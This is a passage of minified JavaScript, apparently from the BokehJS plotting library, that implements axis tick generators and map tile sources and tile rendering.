n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ContinuousTicker\\\",this.define({num_minor_ticks:[o.Number,5],desired_num_ticks:[o.Number,6]})},t.prototype.get_ticks=function(t,e,i,n,r){return this.get_ticks_no_defaults(t,e,n,this.desired_num_ticks)},t.prototype.get_ticks_no_defaults=function(e,i,t,n){var r=this.get_interval(e,i,n),o=Math.floor(e/r),s=Math.ceil(i/r),a=(w.isStrictNaN(o)||w.isStrictNaN(s)?[]:x.range(o,s+1)).map(function(t){return t*r}).filter(function(t){return e<=t&&t<=i}),l=this.num_minor_ticks,h=[];if(0<l&&0<a.length){for(var u=r/l,c=x.range(0,l).map(function(t){return t*u}),_=0,p=c.slice(1);_<p.length;_++){var d=p[_],f=a[0]-d;e<=f&&f<=i&&h.push(f)}for(var v=0,m=a;v<m.length;v++)for(var g=m[v],y=0,b=c;y<b.length;y++){var d=b[y],f=g+d;e<=f&&f<=i&&h.push(f)}}return{major:a,minor:h}},t.prototype.get_min_interval=function(){return this.min_interval},t.prototype.get_max_interval=function(){return null!=this.max_interval?this.max_interval:1/0},t.prototype.get_ideal_interval=function(t,e,i){var n=e-t;return n/i},t}(r.Ticker);(i.ContinuousTicker=s).initClass()},function(t,e,i){var n=t(391),r=t(21),o=t(206),s=t(209),a=t(212),l=t(217),h=t(221),u=t(220),c=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"DatetimeTicker\\\",this.override({num_minor_ticks:0,tickers:function(){return[new o.AdaptiveTicker({mantissas:[1,2,5],base:10,min_interval:0,max_interval:500*u.ONE_MILLI,num_minor_ticks:0}),new o.AdaptiveTicker({mantissas:[1,2,5,10,15,20,30],base:60,min_interval:u.ONE_SECOND,max_interval:30*u.ONE_MINUTE,num_minor_ticks:0}),new o.AdaptiveTicker({mantissas:[1,2,4,6,8,12],base:24,min_interval:u.ONE_HOUR,max_interval:12*u.ONE_HOUR,num_minor_ticks:0}),new a.DaysTicker({days:r.range(1,32)}),new a.DaysTicker({days:r.range(1,31,3)}),new a.DaysTicker({days:[1,8,15,22]}),new a.DaysTicker({days:[1,15]}),new l.MonthsTicker({months:r.range(0,12,1)}),new l.MonthsTicker({months:r.range(0,12,2)}),new l.MonthsTicker({months:r.range(0,12,4)}),new l.MonthsTicker({months:r.range(0,12,6)}),new h.YearsTicker({})]}})},t}(s.CompositeTicker);(i.DatetimeTicker=c).initClass()},function(t,e,i){var n=t(391),r=t(218),u=t(220),o=t(15),c=t(21),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"DaysTicker\\\",this.define({days:[o.Array,[]]}),this.override({num_minor_ticks:0})},t.prototype.initialize=function(){e.prototype.initialize.call(this);var t=this.days;1<t.length?this.interval=(t[1]-t[0])*u.ONE_DAY:this.interval=31*u.ONE_DAY},t.prototype.get_ticks_no_defaults=function(e,i,t,n){var r=function(t,e){var i=u.last_month_no_later_than(new Date(t)),n=u.last_month_no_later_than(new Date(e));n.setUTCMonth(n.getUTCMonth()+1);for(var r=[],o=i;r.push(u.copy_date(o)),o.setUTCMonth(o.getUTCMonth()+1),!(n<o););return r}(e,i),h=this.days,o=this.interval,s=c.concat(r.map(function(t){return function(t,e){for(var i=t.getUTCMonth(),n=[],r=0,o=h;r<o.length;r++){var s=o[r],a=u.copy_date(t);a.setUTCDate(s);var l=new Date(a.getTime()+e/2);l.getUTCMonth()==i&&n.push(a)}return n}(t,o)})),a=s.map(function(t){return t.getTime()}),l=a.filter(function(t){return e<=t&&t<=i});return{major:l,minor:[]}},t}(r.SingleIntervalTicker);(i.DaysTicker=s).initClass()},function(t,e,i){var n=t(391),r=t(210),o=t(15),s=function(i){function t(t){var e=i.call(this,t)||this;return e.min_interval=0,e.max_interval=0,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"FixedTicker\\\",this.define({ticks:[o.Array,[]],minor_ticks:[o.Array,[]]})},t.prototype.get_ticks_no_defaults=function(t,e,i,n){return{major:this.ticks,minor:this.minor_ticks}},t.prototype.get_interval=function(t,e,i){return 0},t}(r.ContinuousTicker);(i.FixedTicker=s).initClass()},function(t,e,i){var n=t(206);i.AdaptiveTicker=n.AdaptiveTicker;var r=t(207);i.BasicTicker=r.BasicTicker;var o=t(208);i.CategoricalTicker=o.CategoricalTicker;var s=t(209);i.CompositeTicker=s.CompositeTicker;var a=t(210);i.ContinuousTicker=a.ContinuousTicker;var l=t(211);i.DatetimeTicker=l.DatetimeTicker;var h=t(212);i.DaysTicker=h.DaysTicker;var u=t(213);i.FixedTicker=u.FixedTicker;var c=t(215);i.LogTicker=c.LogTicker;var _=t(216);i.MercatorTicker=_.MercatorTicker;var p=t(217);i.MonthsTicker=p.MonthsTicker;var d=t(218);i.SingleIntervalTicker=d.SingleIntervalTicker;var f=t(219);i.Ticker=f.Ticker;var v=t(221);i.YearsTicker=v.YearsTicker},function(t,e,i){var n=t(391),r=t(206),N=t(21),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"LogTicker\\\",this.override({mantissas:[1,5]})},t.prototype.get_ticks_no_defaults=function(e,i,t,n){var r,o=this.num_minor_ticks,s=[],a=this.base,l=Math.log(e)/Math.log(a),h=Math.log(i)/Math.log(a),u=h-l;if(isFinite(u))if(u<2){var c=this.get_interval(e,i,n),_=Math.floor(e/c),p=Math.ceil(i/c);if(r=N.range(_,p+1).filter(function(t){return 0!=t}).map(function(t){return t*c}).filter(function(t){return e<=t&&t<=i}),0<o&&0<r.length){for(var d=c/o,f=N.range(0,o).map(function(t){return t*d}),v=0,m=f.slice(1);v<m.length;v++){var g=m[v];s.push(r[0]-g)}for(var y=0,b=r;y<b.length;y++)for(var x=b[y],w=0,k=f;w<k.length;w++){var g=k[w];s.push(x+g)}}}else{var S=Math.ceil(.999999*l),C=Math.floor(1.000001*h),T=Math.ceil((C-S)/9);if(r=N.range(S-1,C+1,T).map(function(t){return Math.pow(a,t)}),0<o&&0<r.length){for(var A=Math.pow(a,T)/o,f=N.range(1,o+1).map(function(t){return t*A}),E=0,M=f;E<M.length;E++){var g=M[E];s.push(r[0]/g)}s.push(r[0]);for(var O=0,z=r;O<z.length;O++)for(var x=z[O],P=0,j=f;P<j.length;P++){var g=j[P];s.push(x*g)}}}else r=[];return{major:r.filter(function(t){return e<=t&&t<=i}),minor:s.filter(function(t){return e<=t&&t<=i})}},t}(r.AdaptiveTicker);(i.LogTicker=o).initClass()},function(t,e,i){var n=t(391),r=t(207),o=t(15),M=t(33),s=function(E){function t(t){return E.call(this,t)||this}return n.__extends(t,E),t.initClass=function(){this.prototype.type=\\\"MercatorTicker\\\",this.define({dimension:[o.LatLon]})},t.prototype.get_ticks_no_defaults=function(t,e,i,n){var r,o,s,a,l,h,u,c;if(null==this.dimension)throw new Error(\\\"MercatorTicker.dimension not configured\\\");r=M.clip_mercator(t,e,this.dimension),t=r[0],e=r[1],\\\"lon\\\"===this.dimension?(o=M.wgs84_mercator.inverse([t,i]),h=o[0],c=o[1],s=M.wgs84_mercator.inverse([e,i]),u=s[0],c=s[1]):(a=M.wgs84_mercator.inverse([i,t]),c=a[0],h=a[1],l=M.wgs84_mercator.inverse([i,e]),c=l[0],u=l[1]);var _=E.prototype.get_ticks_no_defaults.call(this,h,u,i,n),p=[],d=[];if(\\\"lon\\\"===this.dimension){for(var f=0,v=_.major;f<v.length;f++){var m=v[f];if(M.in_bounds(m,\\\"lon\\\")){var g=M.wgs84_mercator.forward([m,c])[0];p.push(g)}}for(var y=0,b=_.minor;y<b.length;y++){var m=b[y];if(M.in_bounds(m,\\\"lon\\\")){var g=M.wgs84_mercator.forward([m,c])[0];d.push(g)}}}else{for(var x=0,w=_.major;x<w.length;x++){var m=w[x];if(M.in_bounds(m,\\\"lat\\\")){var k=M.wgs84_mercator.forward([c,m]),S=k[1];p.push(S)}}for(var C=0,T=_.minor;C<T.length;C++){var m=T[C];if(M.in_bounds(m,\\\"lat\\\")){var A=M.wgs84_mercator.forward([c,m]),S=A[1];d.push(S)}}}return{major:p,minor:d}},t}(r.BasicTicker);(i.MercatorTicker=s).initClass()},function(t,e,i){var n=t(391),r=t(218),h=t(220),o=t(15),u=t(21),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"MonthsTicker\\\",this.define({months:[o.Array,[]]})},t.prototype.initialize=function(){e.prototype.initialize.call(this);var t=this.months;1<t.length?this.interval=(t[1]-t[0])*h.ONE_MONTH:this.interval=12*h.ONE_MONTH},t.prototype.get_ticks_no_defaults=function(e,i,t,n){var r=function(t,e){var i=h.last_year_no_later_than(new Date(t)),n=h.last_year_no_later_than(new Date(e));n.setUTCFullYear(n.getUTCFullYear()+1);for(var r=[],o=i;r.push(h.copy_date(o)),o.setUTCFullYear(o.getUTCFullYear()+1),!(n<o););return r}(e,i),o=this.months,s=u.concat(r.map(function(i){return o.map(function(t){var e=h.copy_date(i);return e.setUTCMonth(t),e})})),a=s.map(function(t){return t.getTime()}),l=a.filter(function(t){return e<=t&&t<=i});return{major:l,minor:[]}},t}(r.SingleIntervalTicker);(i.MonthsTicker=s).initClass()},function(t,e,i){var n=t(391),r=t(210),o=t(15),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"SingleIntervalTicker\\\",this.define({interval:[o.Number]})},t.prototype.get_interval=function(t,e,i){return this.interval},Object.defineProperty(t.prototype,\\\"min_interval\\\",{get:function(){return this.interval},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"max_interval\\\",{get:function(){return this.interval},enumerable:!0,configurable:!0}),t}(r.ContinuousTicker);(i.SingleIntervalTicker=s).initClass()},function(t,e,i){var n=t(391),r=t(59),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Ticker\\\"},t}(r.Model);(i.Ticker=o).initClass()},function(t,e,i){function n(t){return new Date(t.getTime())}function r(t){var e=n(t);return e.setUTCDate(1),e.setUTCHours(0),e.setUTCMinutes(0),e.setUTCSeconds(0),e.setUTCMilliseconds(0),e}i.ONE_MILLI=1,i.ONE_SECOND=1e3,i.ONE_MINUTE=60*i.ONE_SECOND,i.ONE_HOUR=60*i.ONE_MINUTE,i.ONE_DAY=24*i.ONE_HOUR,i.ONE_MONTH=30*i.ONE_DAY,i.ONE_YEAR=365*i.ONE_DAY,i.copy_date=n,i.last_month_no_later_than=r,i.last_year_no_later_than=function(t){var e=r(t);return e.setUTCMonth(0),e}},function(t,e,i){var n=t(391),r=t(207),o=t(218),h=t(220),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"YearsTicker\\\"},t.prototype.initialize=function(){e.prototype.initialize.call(this),this.interval=h.ONE_YEAR,this.basic_ticker=new r.BasicTicker({num_minor_ticks:0})},t.prototype.get_ticks_no_defaults=function(e,i,t,n){var r=h.last_year_no_later_than(new Date(e)).getUTCFullYear(),o=h.last_year_no_later_than(new Date(i)).getUTCFullYear(),s=this.basic_ticker.get_ticks_no_defaults(r,o,t,n).major,a=s.map(function(t){return Date.UTC(t,0,1)}),l=a.filter(function(t){return e<=t&&t<=i});return{major:l,minor:[]}},t}(o.SingleIntervalTicker);(i.YearsTicker=s).initClass()},function(t,e,i){var n=t(391),r=t(225),o=t(15),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"BBoxTileSource\\\",this.define({use_latlon:[o.Bool,!1]})},t.prototype.get_image_url=function(t,e,i){var n,r,o,s,a,l,h=this.string_lookup_replace(this.url,this.extra_url_vars);return this.use_latlon?(n=this.get_tile_geographic_bounds(t,e,i),s=n[0],l=n[1],o=n[2],a=n[3]):(r=this.get_tile_meter_bounds(t,e,i),s=r[0],l=r[1],o=r[2],a=r[3]),h.replace(\\\"{XMIN}\\\",s.toString()).replace(\\\"{YMIN}\\\",l.toString()).replace(\\\"{XMAX}\\\",o.toString()).replace(\\\"{YMAX}\\\",a.toString())},t}(r.MercatorTileSource);(i.BBoxTileSource=s).initClass()},function(t,e,i){var n=t(44),r=function(){function t(){this.images=[]}return t.prototype.pop=function(){var t=this.images.pop();return null!=t?t:new Image},t.prototype.push=function(t){var e;50<this.images.length||(n.isArray(t)?(e=this.images).push.apply(e,t):this.images.push(t))},t}();i.ImagePool=r},function(t,e,i){var n=t(222);i.BBoxTileSource=n.BBoxTileSource;var r=t(225);i.MercatorTileSource=r.MercatorTileSource;var o=t(226);i.QUADKEYTileSource=o.QUADKEYTileSource;var s=t(227);i.TileRenderer=s.TileRenderer;var a=t(228);i.TileSource=a.TileSource;var l=t(230);i.TMSTileSource=l.TMSTileSource;var h=t(231);i.WMTSTileSource=h.WMTSTileSource},function(t,e,i){var n=t(391),r=t(228),o=t(15),s=t(21),h=t(229),a=function(i){function t(t){return i.call(this,t)||this}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"MercatorTileSource\\\",this.define({snap_to_zoom:[o.Bool,!1],wrap_around:[o.Bool,!0]}),this.override({x_origin_offset:20037508.34,y_origin_offset:20037508.34,initial_resolution:156543.03392804097})},t.prototype.initialize=function(){var e=this;i.prototype.initialize.call(this),this._resolutions=s.range(this.min_zoom,this.max_zoom+1).map(function(t){return e.get_resolution(t)})},t.prototype._computed_initial_resolution=function(){return null!=this.initial_resolution?this.initial_resolution:2*Math.PI*6378137/this.tile_size},t.prototype.is_valid_tile=function(t,e,i){return!(!this.wrap_around&&(t<0||t>=Math.pow(2,i))||e<0||e>=Math.pow(2,i))},t.prototype.parent_by_tile_xyz=function(t,e,i){var n=this.tile_xyz_to_quadkey(t,e,i),r=n.substring(0,n.length-1);return this.quadkey_to_tile_xyz(r)},t.prototype.get_resolution=function(t){return this._computed_initial_resolution()/Math.pow(2,t)},t.prototype.get_resolution_by_extent=function(t,e,i){var n=(t[2]-t[0])/i,r=(t[3]-t[1])/e;return[n,r]},t.prototype.get_level_by_extent=function(t,e,i){for(var n=(t[2]-t[0])/i,r=(t[3]-t[1])/e,o=Math.max(n,r),s=0,a=0,l=this._resolutions;a<l.length;a++){var h=l[a];if(h<o){if(0==s)return 0;if(0<s)return s-1}s+=1}return s-1},t.prototype.get_closest_level_by_extent=function(t,e,i){var n=(t[2]-t[0])/i,r=(t[3]-t[1])/e,o=Math.max(n,r),s=this._resolutions.reduce(function(t,e){return Math.abs(e-o)<Math.abs(t-o)?e:t});return this._resolutions.indexOf(s)},t.prototype.snap_to_zoom_level=function(t,e,i,n){var r=t[0],o=t[1],s=t[2],a=t[3],l=this._resolutions[n],h=i*l,u=e*l;if(!this.snap_to_zoom){var c=(s-r)/h,_=(a-o)/u;_<c?(h=s-r,u*=c):(h*=_,u=a-o)}var p=(h-(s-r))/2,d=(u-(a-o))/2;return[r-p,o-d,s+p,a+d]},t.prototype.tms_to_wmts=function(t,e,i){\\\"Note this works both ways\\\";return[t,Math.pow(2,i)-1-e,i]},t.prototype.wmts_to_tms=function(t,e,i){\\\"Note this works both ways\\\";return[t,Math.pow(2,i)-1-e,i]},t.prototype.pixels_to_meters=function(t,e,i){var n=this.get_resolution(i),r=t*n-this.x_origin_offset,o=e*n-this.y_origin_offset;return[r,o]},t.prototype.meters_to_pixels=function(t,e,i){var n=this.get_resolution(i),r=(t+this.x_origin_offset)/n,o=(e+this.y_origin_offset)/n;return[r,o]},t.prototype.pixels_to_tile=function(t,e){var i=Math.ceil(t/this.tile_size);i=0===i?i:i-1;var n=Math.max(Math.ceil(e/this.tile_size)-1,0);return[i,n]},t.prototype.pixels_to_raster=function(t,e,i){var n=this.tile_size<<i;return[t,n-e]},t.prototype.meters_to_tile=function(t,e,i){var n=this.meters_to_pixels(t,e,i),r=n[0],o=n[1];return this.pixels_to_tile(r,o)},t.prototype.get_tile_meter_bounds=function(t,e,i){var n=this.pixels_to_meters(t*this.tile_size,e*this.tile_size,i),r=n[0],o=n[1],s=this.pixels_to_meters((t+1)*this.tile_size,(e+1)*this.tile_size,i),a=s[0],l=s[1];return[r,o,a,l]},t.prototype.get_tile_geographic_bounds=function(t,e,i){var n=this.get_tile_meter_bounds(t,e,i),r=h.meters_extent_to_geographic(n),o=r[0],s=r[1],a=r[2],l=r[3];return[o,s,a,l]},t.prototype.get_tiles_by_extent=function(t,e,i){void 0===i&&(i=1);var n=t[0],r=t[1],o=t[2],s=t[3],a=this.meters_to_tile(n,r,e),l=a[0],h=a[1],u=this.meters_to_tile(o,s,e),c=u[0],_=u[1];l-=i,h-=i,c+=i;for(var p=[],d=_+=i;h<=d;d--)for(var f=l;f<=c;f++)this.is_valid_tile(f,d,e)&&p.push([f,d,e,this.get_tile_meter_bounds(f,d,e)]);return this.sort_tiles_from_center(p,[l,h,c,_]),p},t.prototype.quadkey_to_tile_xyz=function(t){for(var e=0,i=0,n=t.length,r=n;0<r;r--){var o=t.charAt(n-r),s=1<<r-1;switch(o){case\\\"0\\\":continue;case\\\"1\\\":e|=s;break;case\\\"2\\\":i|=s;break;case\\\"3\\\":e|=s,i|=s;break;default:throw new TypeError(\\\"Invalid Quadkey: \\\"+t)}}return[e,i,n]},t.prototype.tile_xyz_to_quadkey=function(t,e,i){for(var n=\\\"\\\",r=i;0<r;r--){var o=1<<r-1,s=0;0!=(t&o)&&(s+=1),0!=(e&o)&&(s+=2),n+=s.toString()}return n},t.prototype.children_by_tile_xyz=function(t,e,i){for(var n=this.tile_xyz_to_quadkey(t,e,i),r=[],o=0;o<=3;o++){var s=this.quadkey_to_tile_xyz(n+o.toString()),a=s[0],l=s[1],h=s[2],u=this.get_tile_meter_bounds(a,l,h);r.push([a,l,h,u])}return r},t.prototype.get_closest_parent_by_tile_xyz=function(t,e,i){var n,r,o,s=this.calculate_world_x_by_tile_xyz(t,e,i);n=this.normalize_xyz(t,e,i),t=n[0],e=n[1],i=n[2];for(var a=this.tile_xyz_to_quadkey(t,e,i);0<a.length;)if(a=a.substring(0,a.length-1),r=this.quadkey_to_tile_xyz(a),t=r[0],e=r[1],i=r[2],o=this.denormalize_xyz(t,e,i,s),t=o[0],e=o[1],i=o[2],this.tile_xyz_to_key(t,e,i)in this.tiles)return[t,e,i];return[0,0,0]},t.prototype.normalize_xyz=function(t,e,i){if(this.wrap_around){var n=Math.pow(2,i);return[(t%n+n)%n,e,i]}return[t,e,i]},t.prototype.denormalize_xyz=function(t,e,i,n){return[t+n*Math.pow(2,i),e,i]},t.prototype.denormalize_meters=function(t,e,i,n){return[t+2*n*Math.PI*6378137,e]},t.prototype.calculate_world_x_by_tile_xyz=function(t,e,i){return Math.floor(t/Math.pow(2,i))},t}(r.TileSource);(i.MercatorTileSource=a).initClass()},function(t,e,i){var n=t(391),r=t(225),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"QUADKEYTileSource\\\"},t.prototype.get_image_url=function(t,e,i){var n=this.string_lookup_replace(this.url,this.extra_url_vars),r=this.tms_to_wmts(t,e,i),o=r[0],s=r[1],a=r[2],l=this.tile_xyz_to_quadkey(o,s,a);return n.replace(\\\"{Q}\\\",l)},t}(r.MercatorTileSource);(i.QUADKEYTileSource=o).initClass()},function(t,e,i){var r=t(391),o=t(223),n=t(231),s=t(189),a=t(184),l=t(5),h=t(15),I=t(21),u=t(44),c=function(n){function t(){return null!==n&&n.apply(this,arguments)||this}return r.__extends(t,n),t.prototype.initialize=function(t){this.attributionEl=null,this._tiles=[],n.prototype.initialize.call(this,t)},t.prototype.connect_signals=function(){var t=this;n.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.request_render()})},t.prototype.get_extent=function(){return[this.x_range.start,this.y_range.start,this.x_range.end,this.y_range.end]},Object.defineProperty(t.prototype,\\\"map_plot\\\",{get:function(){return this.plot_model.plot},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"map_canvas\\\",{get:function(){return this.plot_view.canvas_view.ctx},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"map_frame\\\",{get:function(){return this.plot_model.frame},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"x_range\\\",{get:function(){return this.map_plot.x_range},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"y_range\\\",{get:function(){return this.map_plot.y_range},enumerable:!0,configurable:!0}),t.prototype._set_data=function(){this.pool=new o.ImagePool,this.extent=this.get_extent(),this._last_height=void 0,this._last_width=void 0},t.prototype._add_attribution=function(){var t=this.model.tile_source.attribution;if(u.isString(t)&&0<t.length){if(null==this.attributionEl){var e=this.plot_model.canvas._right.value-this.plot_model.frame._right.value,i=this.plot_model.canvas._bottom.value-this.plot_model.frame._bottom.value,n=this.map_frame._width.value;this.attributionEl=l.div({class:\\\"bk-tile-attribution\\\",style:{position:\\\"absolute\\\",bottom:i+\\\"px\\\",right:e+\\\"px\\\",\\\"max-width\\\":n-4+\\\"px\\\",padding:\\\"2px\\\",\\\"background-color\\\":\\\"rgba(255,255,255,0.5)\\\",\\\"font-size\\\":\\\"7pt\\\",\\\"font-family\\\":\\\"sans-serif\\\",\\\"line-height\\\":\\\"1.05\\\",\\\"white-space\\\":\\\"nowrap\\\",overflow:\\\"hidden\\\",\\\"text-overflow\\\":\\\"ellipsis\\\"}});var r=this.plot_view.canvas_view.events_el;r.appendChild(this.attributionEl)}this.attributionEl.innerHTML=t,this.attributionEl.title=this.attributionEl.textContent.replace(/\\\\s*\\\\n\\\\s*/g,\\\" \\\")}},t.prototype._map_data=function(){this.initial_extent=this.get_extent();var t=this.model.tile_source.get_level_by_extent(this.initial_extent,this.map_frame._height.value,this.map_frame._width.value),e=this.model.tile_source.snap_to_zoom_level(this.initial_extent,this.map_frame._height.value,this.map_frame._width.value,t);this.x_range.start=e[0],this.y_range.start=e[1],this.x_range.end=e[2],this.y_range.end=e[3],this.x_range instanceof a.Range1d&&(this.x_range.reset_start=e[0],this.x_range.reset_end=e[2]),this.y_range instanceof a.Range1d&&(this.y_range.reset_start=e[1],this.y_range.reset_end=e[3]),this._add_attribution()},t.prototype._on_tile_load=function(t,e){t.img=e.target,t.loaded=!0,this.request_render()},t.prototype._on_tile_cache_load=function(t,e){t.img=e.target,t.loaded=!0,t.finished=!0,this.notify_finished()},t.prototype._on_tile_error=function(t){t.finished=!0},t.prototype._create_tile=function(t,e,i,n,r){void 0===r&&(r=!1);var o=this.model.tile_source.normalize_xyz(t,e,i),s=o[0],a=o[1],l=o[2],h=this.pool.pop(),u={img:h,tile_coords:[t,e,i],normalized_coords:[s,a,l],quadkey:this.model.tile_source.tile_xyz_to_quadkey(t,e,i),cache_key:this.model.tile_source.tile_xyz_to_key(t,e,i),bounds:n,loaded:!1,finished:!1,x_coord:n[0],y_coord:n[3]};h.onload=r?this._on_tile_cache_load.bind(this,u):this._on_tile_load.bind(this,u),h.onerror=this._on_tile_error.bind(this,u),h.alt=\\\"\\\",h.src=this.model.tile_source.get_image_url(s,a,l),this.model.tile_source.tiles[u.cache_key]=u,this._tiles.push(u)},t.prototype._enforce_aspect_ratio=function(){if(this._last_height!==this.map_frame._height.value||this._last_width!==this.map_frame._width.value){var t=this.get_extent(),e=this.model.tile_source.get_level_by_extent(t,this.map_frame._height.value,this.map_frame._width.value),i=this.model.tile_source.snap_to_zoom_level(t,this.map_frame._height.value,this.map_frame._width.value,e);this.x_range.setv({start:i[0],end:i[2]}),this.y_range.setv({start:i[1],end:i[3]}),this.extent=i,this._last_height=this.map_frame._height.value,this._last_width=this.map_frame._width.value}},t.prototype.has_finished=function(){if(!n.prototype.has_finished.call(this))return!1;if(0===this._tiles.length)return!1;for(var t=0,e=this._tiles;t<e.length;t++){var i=e[t];if(!i.finished)return!1}return!0},t.prototype.render=function(){null==this.map_initialized&&(this._set_data(),this._map_data(),this.map_initialized=!0),this._enforce_aspect_ratio(),this._update(),null!=this.prefetch_timer&&clearTimeout(this.prefetch_timer),this.prefetch_timer=setTimeout(this._prefetch_tiles.bind(this),500),this.has_finished()&&this.notify_finished()},t.prototype._draw_tile=function(t){var e=this.model.tile_source.tiles[t];if(null!=e){var i=this.plot_view.map_to_screen([e.bounds[0]],[e.bounds[3]]),n=i[0][0],r=i[1][0],o=this.plot_view.map_to_screen([e.bounds[2]],[e.bounds[1]]),s=o[0][0],a=o[1][0],l=s-n,h=a-r,u=n,c=r,_=this.map_canvas.getImageSmoothingEnabled();this.map_canvas.setImageSmoothingEnabled(this.model.smoothing),this.map_canvas.drawImage(e.img,u,c,l,h),this.map_canvas.setImageSmoothingEnabled(_),e.finished=!0}},t.prototype._set_rect=function(){var t=this.plot_model.plot.properties.outline_line_width.value(),e=this.map_frame._left.value+t/2,i=this.map_frame._top.value+t/2,n=this.map_frame._width.value-t,r=this.map_frame._height.value-t;this.map_canvas.rect(e,i,n,r),this.map_canvas.clip()},t.prototype._render_tiles=function(t){this.map_canvas.save(),this._set_rect(),this.map_canvas.globalAlpha=this.model.alpha;for(var e=0,i=t;e<i.length;e++){var n=i[e];this._draw_tile(n)}this.map_canvas.restore()},t.prototype._prefetch_tiles=function(){for(var t=this.model.tile_source,e=this.get_extent(),i=this.map_frame._height.value,n=this.map_frame._width.value,r=this.model.tile_source.get_level_by_extent(e,i,n),o=this.model.tile_source.get_tiles_by_extent(e,r),s=0,a=Math.min(10,o.length);s<a;s++)for(var l=o[s],h=l[0],u=l[1],c=l[2],_=this.model.tile_source.children_by_tile_xyz(h,u,c),p=0,d=_;p<d.length;p++){var f=d[p],v=f[0],m=f[1],g=f[2],y=f[3];t.tile_xyz_to_key(v,m,g)in t.tiles||this._create_tile(v,m,g,y,!0)}},t.prototype._fetch_tiles=function(t){for(var e=0,i=t;e<i.length;e++){var n=i[e],r=n[0],o=n[1],s=n[2],a=n[3];this._create_tile(r,o,s,a)}},t.prototype._update=function(){var t=this,e=this.model.tile_source,i=e.min_zoom,n=e.max_zoom,r=this.get_extent(),o=this.extent[2]-this.extent[0]<r[2]-r[0],s=this.map_frame._height.value,a=this.map_frame._width.value,l=e.get_level_by_extent(r,s,a),h=!1;l<i?(r=this.extent,l=i,h=!0):n<l&&(r=this.extent,l=n,h=!0),h&&(this.x_range.setv({x_range:{start:r[0],end:r[2]}}),this.y_range.setv({start:r[1],end:r[3]}),this.extent=r),this.extent=r;for(var u=e.get_tiles_by_extent(r,l),c=[],_=[],p=[],d=[],f=0,v=u;f<v.length;f++){var m=v[f],g=m[0],y=m[1],b=m[2],x=e.tile_xyz_to_key(g,y,b),w=e.tiles[x];if(null!=w&&w.loaded)_.push(x);else if(this.model.render_parents){var k=e.get_closest_parent_by_tile_xyz(g,y,b),S=k[0],C=k[1],T=k[2],A=e.tile_xyz_to_key(S,C,T),E=e.tiles[A];if(null!=E&&E.loaded&&!I.includes(p,A)&&p.push(A),o)for(var M=e.children_by_tile_xyz(g,y,b),O=0,z=M;O<z.length;O++){var P=z[O],j=P[0],N=P[1],F=P[2],D=e.tile_xyz_to_key(j,N,F);D in e.tiles&&d.push(D)}}null==w&&c.push(m)}this._render_tiles(p),this._render_tiles(d),this._render_tiles(_),null!=this.render_timer&&clearTimeout(this.render_timer),this.render_timer=setTimeout(function(){return t._fetch_tiles(c)},65)},t}(s.RendererView);i.TileRendererView=c;var _=function(e){function t(t){return e.call(this,t)||this}return r.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"TileRenderer\\\",this.prototype.default_view=c,this.define({alpha:[h.Number,1],x_range_name:[h.String,\\\"default\\\"],y_range_name:[h.String,\\\"default\\\"],smoothing:[h.Bool,!0],tile_source:[h.Instance,function(){return new n.WMTSTileSource}],render_parents:[h.Bool,!0]}),this.override({level:\\\"underlay\\\"})},t}(s.Renderer);(i.TileRenderer=_).initClass()},function(t,e,i){var n=t(391),r=t(59),o=t(223),s=t(15),a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"TileSource\\\",this.define({url:[s.String,\\\"\\\"],tile_size:[s.Number,256],max_zoom:[s.Number,30],min_zoom:[s.Number,0],extra_url_vars:[s.Any,{}],attribution:[s.String,\\\"\\\"],x_origin_offset:[s.Number],y_origin_offset:[s.Number],initial_resolution:[s.Number]})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this.tiles={},this.pool=new o.ImagePool,this._normalize_case()},t.prototype.string_lookup_replace=function(t,e){var i=t;for(var n in e){var r=e[n];i=i.replace(\\\"{\\\"+n+\\\"}\\\",r)}return i},t.prototype._normalize_case=function(){var t=this.url.replace(\\\"{x}\\\",\\\"{X}\\\").replace(\\\"{y}\\\",\\\"{Y}\\\").replace(\\\"{z}\\\",\\\"{Z}\\\").replace(\\\"{q}\\\",\\\"{Q}\\\").replace(\\\"{xmin}\\\",\\\"{XMIN}\\\").replace(\\\"{ymin}\\\",\\\"{YMIN}\\\").replace(\\\"{xmax}\\\",\\\"{XMAX}\\\").replace(\\\"{ymax}\\\",\\\"{YMAX}\\\");this.url=t},t.prototype.tile_xyz_to_key=function(t,e,i){return t+\\\":\\\"+e+\\\":\\\"+i},t.prototype.key_to_tile_xyz=function(t){var e=t.split(\\\":\\\").map(function(t){return parseInt(t)}),i=e[0],n=e[1],r=e[2];return[i,n,r]},t.prototype.sort_tiles_from_center=function(t,e){var i=e[0],n=e[1],r=e[2],o=e[3],s=(r-i)/2+i,a=(o-n)/2+n;t.sort(function(t,e){var i=Math.sqrt(Math.pow(s-t[0],2)+Math.pow(a-t[1],2)),n=Math.sqrt(Math.pow(s-e[0],2)+Math.pow(a-e[1],2));return i-n})},t.prototype.get_image_url=function(t,e,i){var 